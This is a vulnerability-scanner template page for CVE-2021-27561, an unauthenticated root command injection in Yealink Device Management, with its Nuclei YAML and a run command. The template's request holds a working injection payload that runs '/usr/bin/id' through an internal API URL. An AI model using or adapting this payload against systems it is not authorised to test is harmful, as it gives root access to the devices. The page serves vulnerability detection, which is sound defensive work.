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YeaLink DM 3.6.0.20 - Remote Command Injection

ID: CVE-2021-27561

Severity: critical

Author: shifacyclewala,hackergautam

Tags: cve2021,cve,rce,yealink,mirai,kev

Description

Section titled “Description”

Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27561


info:
  name: YeaLink DM 3.6.0.20 - Remote Command Injection
  author: shifacyclewala,hackergautam
  severity: critical
  description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
    - https://ssd-disclosure.com/?p=4688
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27561
    cwe-id: CWE-78
    epss-score: 0.97435
    epss-percentile: 0.99942
    cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yealink
    product: device_management
  tags: cve2021,cve,rce,yealink,mirai,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and


      - type: word
        part: header
        words:
          - 'application/json'


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
# digest: 4a0a0047304502205a9c779987cc0eebec2903d7d33ffa4210e79410186e9fec82c9ba80522156d6022100d6703319e73957e1dc0f156059e0d5478e3d1480f53c559c5a44d870274b90ec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27561.yaml"

View on Github